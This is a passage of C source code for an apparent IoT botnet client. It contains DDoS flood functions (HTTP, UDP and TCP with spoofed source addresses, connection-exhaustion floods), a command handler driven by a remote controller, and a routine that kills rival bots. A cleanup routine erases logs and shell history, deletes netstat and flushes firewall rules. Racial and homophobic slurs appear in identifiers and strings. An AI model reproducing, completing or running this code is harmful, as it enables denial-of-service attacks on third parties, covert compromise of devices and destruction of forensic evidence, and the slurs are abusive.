  1821. char* Niggerdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};//wtf are we doing here well these are the directory
  1822. char* Boats[] = {"wget", "armv*", "bot*", "ntpd*", "hackz*", "shitty*","jack*", "mips*", "sex*", "i86", "ssh*", "sh4*", "jackmeoff*", "tftp*", "i56", "mips", "mipsel", "sh4", "x86", "i686", "ppc", "i586", "i586"};
  1823. const char *bots[] = {"jackmy*", "busybox*", "bin*", "sex*", "tftp*", "arm*", "mipsel*", "mips*", "mips64*", "i686*","sparc*", "sh4*", "bot*", "jackmeoff*", "hackz*", "bruv*"};
  1824. char hacker[80];
  1825. char botkill[80];
  1826. char buf[128];
  1827. int i, num_tmps, j;
  1828. for(j = 0; j < num_tmps; j++)
  1829. {
  1830. memset(buf, 0, 128);
  1831. if(j == 0)
  1832. snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve ;echo ps aux >> proc ; pkill -9 %d\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], bots[j]);
  1833. else
  1834. snprintf(buf, 127, ">%s.t && cd %s ; >retrieve\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j]);
  1835. system(buf);
  1836. sprintf(botkill, "pkill -9 %s\r\n", bots[j]);
  1837. system(botkill);
  1838. return;
  1839. }
  1840. sleep(5);
  1841. }
  1842. //Cleaning Device
  1843. void RemoveTMP() {
  1844. system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");
  1845. system("rm -rf /var/log/wtmp");
  1846. system("history -c;history -w");
  1847. system("rm -rf /var/log/wtmp");
  1848. system("rm -rf /tmp/*");
  1849. system("history -c");
  1850. system("rm -rf ~/.bash_history");
  1851. system("rm -rf /bin/netstat");
  1852. system("history -w");
  1853. system("pkill -9 busybox");
  1854. system("pkill -9 perl");
  1855. system("service iptables stop");
  1856. system("/sbin/iptables -F;/sbin/iptables -X");
  1857. }
  1858. int socket_connect(char *host, in_port_t port) {
  1859. struct hostent *hp;
  1860. struct sockaddr_in addr;
  1861. int on = 1, sock;
  1862. if ((hp = gethostbyname(host)) == NULL) return 0;
  1863. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1864. addr.sin_port = htons(port);
  1865. addr.sin_family = AF_INET;
  1866. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1867. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1868. if (sock == -1) return 0;
  1869. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  1870. return 0;
  1871. return sock;
  1872. }
  1873. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  1874. const char *useragents[] = {
  1875. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  1876. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1877. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  1878. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  1879. "Opera/6.04 (Windows XP; U) [en]",
  1880. "Opera/9.99 (X11; U; sk)",
  1881. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  1882. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  1883. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  1884. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  1885. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  1886. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  1887. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  1888. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  1889. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  1890. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  1891. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  1892. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  1893. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  1894. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  1895. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  1896. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  1897. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  1898. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  1899. "wii libnup/1.0",
  1900. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  1901. "PSP (PlayStation Portable); 2.00",
  1902. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  1903. "Doris/1.15 [en] (Symbian)",
  1904. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1905. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100"
  1906. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1907. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1908. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1909. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1910. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1911. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  1912. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  1913. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  1914. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  1915. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  1916. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  1917. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  1918. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  1919. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1920. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1921. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1922. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  1923. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  1924. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  1925. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  1926. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  1927. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  1928. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  1929. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  1930. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  1931. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  1932. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  1933. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  1934. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  1935. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  1936. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  1937. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  1938. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  1939. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)"
  1940. };
  1941. const char *connections[] = {"close", "keep-alive", "accept"};
  1942. int i, timeEnd = time(NULL) + timeFoo;
  1943. char request[512];
  1944. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 3)], useragents[(rand() % 65)]);
  1945. for (i = 0; i < power; i++) {
  1946. if (fork()) {
  1947. while (timeEnd > time(NULL)) {
  1948. int socket = socket_connect((char *)host, port);
  1949. if (socket != 0) {
  1950. write(socket, request, strlen(request));
  1951. close(socket);
  1952. }
  1953. }
  1954. _exit(1);
  1955. }
  1956. }
  1957. }
  1958. void sendSTD(unsigned char *ip, int port, int secs) {
  1959. int iSTD_Sock;
  1960. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1961. time_t start = time(NULL);
  1962. struct sockaddr_in sin;
  1963. struct hostent *hp;
  1964. hp = gethostbyname(ip);
  1965. bzero((char*) &sin,sizeof(sin));
  1966. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1967. sin.sin_family = hp->h_addrtype;
  1968. sin.sin_port = port;
  1969. unsigned int a = 0;
  1970. while(1){
  1971. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "hackz", "shdyed", "http", "sghwiondc", "nigger", "pussy", "faggot"};
  1972. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  1973. if (a >= 50)
  1974. {
  1975. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1976. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1977. if (time(NULL) >= start + secs)
  1978. {
  1979. close(iSTD_Sock);
  1980. _exit(0);
  1981. }
  1982. a = 0;
  1983. }
  1984. a++;
  1985. }
  1986. }
  1987. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1988. {
  1989. struct sockaddr_in dest_addr;
  1990. dest_addr.sin_family = AF_INET;
  1991. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1992. else dest_addr.sin_port = htons(port);
  1993. if(getHost(target, &dest_addr.sin_addr)) return;
  1994. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1995. register unsigned int pollRegister;
  1996. pollRegister = pollinterval;
  1997. if(spoofit == 32)
  1998. {
  1999. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  2000. if(!sockfd)
  2001. {
  2002. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  2003. return;
  2004. }
  2005. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  2006. if(buf == NULL) return;
  2007. memset(buf, 0, packetsize + 1);
  2008. makeRandomStr(buf, packetsize);
  2009. int end = time(NULL) + timeEnd;
  2010. register unsigned int i = 0;
  2011. while(1)
  2012. {
  2013. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2014. if(i == pollRegister)
  2015. {
  2016. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2017. if(time(NULL) > end) break;
  2018. i = 0;
  2019. continue;
  2020. }
  2021. i++;
  2022. }
  2023. } else {
  2024. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2025. if(!sockfd)
  2026. {
  2027. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  2028. return;
  2029. }
  2030. int tmp = 1;
  2031. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2032. {
  2033. HackerPrint(D1ckSucka, "Failed setting raw headers mode.");
  2034. return;
  2035. }
  2036. int counter = 50;
  2037. while(counter--)
  2038. {
  2039. srand(time(NULL) ^ rand_cmwc());
  2040. init_rand(rand());
  2041. }
  2042. in_addr_t netmask;
  2043. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2044. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2045. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2046. struct iphdr *iph = (struct iphdr *)packet;
  2047. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2048. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2049. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2050. udph->source = rand_cmwc();
  2051. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2052. udph->check = 0;
  2053. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2054. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2055. int end = time(NULL) + timeEnd;
  2056. register unsigned int i = 0;
  2057. while(1)
  2058. {
  2059. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2060. udph->source = rand_cmwc();
  2061. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2062. iph->id = rand_cmwc();
  2063. iph->saddr = htonl( HackerScan2(netmask) );
  2064. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2065. if(i == pollRegister)
  2066. {
  2067. if(time(NULL) > end) break;
  2068. i = 0;
  2069. continue;
  2070. }
  2071. i++;
  2072. }
  2073. }
  2074. }
  2075. void sendCNC(unsigned char *ip,int port, int end_time)
  2076. {
  2077. int end = time(NULL) + end_time;
  2078. int sockfd;
  2079. struct sockaddr_in server;
  2080. server.sin_addr.s_addr = inet_addr(ip);
  2081. server.sin_family = AF_INET;
  2082. server.sin_port = htons(port);
  2083. while(end > time(NULL))
  2084. {
  2085. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2086. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  2087. sleep(1);
  2088. close(sockfd);
  2089. }
  2090. }
  2091. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  2092. {
  2093. register unsigned int pollRegister;
  2094. pollRegister = pollinterval;
  2095. struct sockaddr_in dest_addr;
  2096. dest_addr.sin_family = AF_INET;
  2097. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2098. else dest_addr.sin_port = htons(port);
  2099. if(getHost(target, &dest_addr.sin_addr)) return;
  2100. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2101. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2102. if(!sockfd)
  2103. {
  2104. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  2105. return;
  2106. }
  2107. int tmp = 1;
  2108. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2109. {
  2110. HackerPrint(D1ckSucka, "Failed setting raw headers mode.");
  2111. return;
  2112. }
  2113. in_addr_t netmask;
  2114. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2115. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2116. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2117. struct iphdr *iph = (struct iphdr *)packet;
  2118. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2119. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2120. tcph->source = rand_cmwc();
  2121. tcph->seq = rand_cmwc();
  2122. tcph->ack_seq = 0;
  2123. tcph->doff = 5;
  2124. if(!strcmp(flags, "all"))
  2125. {
  2126. tcph->syn = 1;
  2127. tcph->rst = 1;
  2128. tcph->fin = 1;
  2129. tcph->ack = 1;
  2130. tcph->psh = 1;
  2131. } else {
  2132. unsigned char *pch = strtok(flags, ",");
  2133. while(pch)
  2134. {
  2135. if(!strcmp(pch, "syn"))
  2136. {
  2137. tcph->syn = 1;
  2138. } else if(!strcmp(pch, "rst"))
  2139. {
  2140. tcph->rst = 1;
  2141. } else if(!strcmp(pch, "fin"))
  2142. {
  2143. tcph->fin = 1;
  2144. } else if(!strcmp(pch, "ack"))
  2145. {
  2146. tcph->ack = 1;
  2147. } else if(!strcmp(pch, "psh"))
  2148. {
  2149. tcph->psh = 1;
  2150. } else {
  2151. HackerPrint(D1ckSucka, "Invalid flag \"%s\"", pch);
  2152. }
  2153. pch = strtok(NULL, ",");
  2154. }
  2155. }
  2156. tcph->window = rand_cmwc();
  2157. tcph->check = 0;
  2158. tcph->urg_ptr = 0;
  2159. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2160. tcph->check = tcpcsum(iph, tcph);
  2161. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2162. int end = time(NULL) + timeEnd;
  2163. register unsigned int i = 0;
  2164. while(1)
  2165. {
  2166. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2167. iph->saddr = htonl( HackerScan2(netmask) );
  2168. iph->id = rand_cmwc();
  2169. tcph->seq = rand_cmwc();
  2170. tcph->source = rand_cmwc();
  2171. tcph->check = 0;
  2172. tcph->check = tcpcsum(iph, tcph);
  2173. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2174. if(i == pollRegister)
  2175. {
  2176. if(time(NULL) > end) break;
  2177. i = 0;
  2178. continue;
  2179. }
  2180. i++;
  2181. }
  2182. }
  2183. void sendJUNK(unsigned char *ip, int port, int end_time)
  2184. {
  2185. int max = getdtablesize() / 2, i;
  2186. struct sockaddr_in dest_addr;
  2187. dest_addr.sin_family = AF_INET;
  2188. dest_addr.sin_port = htons(port);
  2189. if(getHost(ip, &dest_addr.sin_addr)) return;
  2190. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2191. struct state_t
  2192. {
  2193. int fd;
  2194. uint8_t state;
  2195. } fds[max];
  2196. memset(fds, 0, max * (sizeof(int) + 1));
  2197. fd_set myset;
  2198. struct timeval tv;
  2199. socklen_t lon;
  2200. int valopt, res;
  2201. unsigned char *watwat = malloc(1024);
  2202. memset(watwat, 0, 1024);
  2203. int end = time(NULL) + end_time;
  2204. while(end > time(NULL))
  2205. {
  2206. for(i = 0; i < max; i++)
  2207. {
  2208. switch(fds[i].state)
  2209. {
  2210. case 0:
  2211. {
  2212. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2213. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2214. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2215. else fds[i].state = 1;
  2216. }
  2217. break;
  2218. case 1:
  2219. {
  2220. FD_ZERO(&myset);
  2221. FD_SET(fds[i].fd, &myset);
  2222. tv.tv_sec = 0;
  2223. tv.tv_usec = 10000;
  2224. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2225. if(res == 1)
  2226. {
  2227. lon = sizeof(int);
  2228. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2229. if(valopt)
  2230. {
  2231. close(fds[i].fd);
  2232. fds[i].state = 0;
  2233. } else {
  2234. fds[i].state = 2;
  2235. }
  2236. } else if(res == -1)
  2237. {
  2238. close(fds[i].fd);
  2239. fds[i].state = 0;
  2240. }
  2241. }
  2242. break;
  2243. case 2:
  2244. {
  2245. makeRandomStr(watwat, 1024);
  2246. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  2247. {
  2248. close(fds[i].fd);
  2249. fds[i].state = 0;
  2250. }
  2251. }
  2252. break;
  2253. }
  2254. }
  2255. }
  2256. }
  2257. void sendHOLD(unsigned char *ip, int port, int end_time)
  2258. {
  2259. int max = getdtablesize() / 2, i;
  2260. struct sockaddr_in dest_addr;
  2261. dest_addr.sin_family = AF_INET;
  2262. dest_addr.sin_port = htons(port);
  2263. if(getHost(ip, &dest_addr.sin_addr)) return;
  2264. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2265. struct state_t
  2266. {
  2267. int fd;
  2268. uint8_t state;
  2269. } fds[max];
  2270. memset(fds, 0, max * (sizeof(int) + 1));
  2271. fd_set myset;
  2272. struct timeval tv;
  2273. socklen_t lon;
  2274. int valopt, res;
  2275. unsigned char *watwat = malloc(1024);
  2276. memset(watwat, 0, 1024);
  2277. int end = time(NULL) + end_time;
  2278. while(end > time(NULL))
  2279. {
  2280. for(i = 0; i < max; i++)
  2281. {
  2282. switch(fds[i].state)
  2283. {
  2284. case 0:
  2285. {
  2286. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2287. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2288. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2289. else fds[i].state = 1;
  2290. }
  2291. break;
  2292. case 1:
  2293. {
  2294. FD_ZERO(&myset);
  2295. FD_SET(fds[i].fd, &myset);
  2296. tv.tv_sec = 0;
  2297. tv.tv_usec = 10000;
  2298. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2299. if(res == 1)
  2300. {
  2301. lon = sizeof(int);
  2302. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2303. if(valopt)
  2304. {
  2305. close(fds[i].fd);
  2306. fds[i].state = 0;
  2307. } else {
  2308. fds[i].state = 2;
  2309. }
  2310. } else if(res == -1)
  2311. {
  2312. close(fds[i].fd);
  2313. fds[i].state = 0;
  2314. }
  2315. }
  2316. break;
  2317. case 2:
  2318. {
  2319. FD_ZERO(&myset);
  2320. FD_SET(fds[i].fd, &myset);
  2321. tv.tv_sec = 0;
  2322. tv.tv_usec = 10000;
  2323. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  2324. if(res != 0)
  2325. {
  2326. close(fds[i].fd);
  2327. fds[i].state = 0;
  2328. }
  2329. }
  2330. break;
  2331. }
  2332. }
  2333. }
  2334. }
  2335. void processCmd(int argc, unsigned char *argv[])
  2336. {
  2337. int x;
  2338. if(!strcmp(argv[0], "PING"))
  2339. {
  2340. HackerPrint(D1ckSucka, "PONG!");
  2341. return;
  2342. }
  2343. if(!strcmp(argv[0], "GETLOCALIP"))
  2344. {
  2345. HackerPrint(D1ckSucka, "My IP: %s", inet_ntoa(ourIP));
  2346. return;
  2347. }
  2348. if(!strcmp(argv[0], "BOTKILL"))
  2349. {
  2350. if(!listFork())
  2351. {
  2352. HackerPrint(D1ckSucka, "Killing Bots");
  2353. botkiller();
  2354. RemoveTMP();
  2355. _exit(0);
  2356. }
  2357. }
  2358. if(!strcmp(argv[0], "LOOPME"))
  2359. {
  2360. if(!listFork())
  2361. {
  2362. HackerPrint(D1ckSucka, "LOOPING PAYLOAD");
  2363. LoopPayload();
  2364. _exit(0);
  2365. }
  2366. }
  2367. if(!strcmp(argv[0], "SCANNER"))
  2368. {
  2369. if(argc != 2)
  2370. {
  2371. HackerPrint(D1ckSucka, "SCANNER ON | OFF");
  2372. return;
  2373. }
  2374. if(!strcmp(argv[1], "OFF"))
  2375. {
  2376. if(scanPid == 0) return;
  2377. kill(scanPid, 9);
  2378. HackerPrint(D1ckSucka, " OFF");
  2379. scanPid = 0;
  2380. }
  2381. if(!strcmp(argv[1], "ON"))
  2382. {
  2383. if(scanPid != 0) return;
  2384. uint32_t parent;
  2385. parent = fork();
  2386. if (parent > 0) { scanPid = parent; return;}
  2387. else if(parent == -1) return;
  2388. StartTheLelz();
  2389. _exit(0);
  2390. }
  2391. }
  2392.  
  2393. if(!strcmp(argv[0], "NETIS"))
  2394. {
  2395. if(argc != 2)
  2396. {
  2397. return;
  2398. }
  2399. if(!strcmp(argv[1], "ON"))
  2400. {
  2401. HackerPrint(D1ckSucka, "[NETIS] SCANNER Starting");
  2402. StartTheNetis();
  2403. _exit(0);
  2404. }
  2405. }
  2406.  
  2407. if(!strcmp(argv[0], "HOLD"))
  2408. {
  2409. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2410. {
  2411. return;
  2412. }
  2413. unsigned char *ip = argv[1];
  2414. int port = atoi(argv[2]);
  2415. int time = atoi(argv[3]);
  2416. if(strstr(ip, ",") != NULL)
  2417. {
  2418. unsigned char *hi = strtok(ip, ",");
  2419. while(hi != NULL)
  2420. {
  2421. if(!listFork())
  2422. {
  2423. sendHOLD(hi, port, time);
  2424. _exit(0);
  2425. }
  2426. hi = strtok(NULL, ",");
  2427. }
  2428. } else {
  2429. if (listFork()) { return; }
  2430. sendHOLD(ip, port, time);
  2431. _exit(0);
  2432. }
  2433. }
  2434. if(!strcmp(argv[0], "JUNK"))
  2435. {
  2436. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2437. {
  2438. return;
  2439. }
  2440. unsigned char *ip = argv[1];
  2441. int port = atoi(argv[2]);
  2442. int time = atoi(argv[3]);
  2443. if(strstr(ip, ",") != NULL)
  2444. {
  2445. unsigned char *hi = strtok(ip, ",");
  2446. while(hi != NULL)
  2447. {
  2448. if(!listFork())
  2449. {
  2450. sendJUNK(hi, port, time);
  2451. close(D1ckSucka);
  2452. _exit(0);
  2453. }
  2454. hi = strtok(NULL, ",");
  2455. }
  2456. } else {
  2457. if (listFork()) { return; }
  2458. sendJUNK(ip, port, time);
  2459. _exit(0);
  2460. }
  2461. }
  2462. if(!strcmp(argv[0], "UDP"))
  2463. {
  2464. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  2465. {
  2466. return;
  2467. }
  2468. unsigned char *ip = argv[1];
  2469. int port = atoi(argv[2]);
  2470. int time = atoi(argv[3]);
  2471. int spoofed = atoi(argv[4]);
  2472. int packetsize = atoi(argv[5]);
  2473. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  2474. if(strstr(ip, ",") != NULL)
  2475. {
  2476. unsigned char *hi = strtok(ip, ",");
  2477. while(hi != NULL)
  2478. {
  2479. if(!listFork())
  2480. {
  2481. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  2482. _exit(0);
  2483. }
  2484. hi = strtok(NULL, ",");
  2485. }
  2486. } else {
  2487. if (listFork()) { return; }
  2488. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  2489. _exit(0);
  2490. }
  2491. }
  2492. if (!strcmp((const char *)argv[0], "HTTP")) {
  2493. if (argc < 6)
  2494. {
  2495. return;
  2496. }
  2497. if (strstr((const char *)argv[1], ",") != NULL) {
  2498. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2499. while (hi != NULL) {
  2500. if (!listFork()) {
  2501. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2502. _exit(0);
  2503. }
  2504. hi = (unsigned char *)strtok(NULL, ",");
  2505. }
  2506. } else {
  2507. if (listFork()) {
  2508. return;
  2509. }
  2510. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2511. _exit(0);
  2512. }
  2513. }
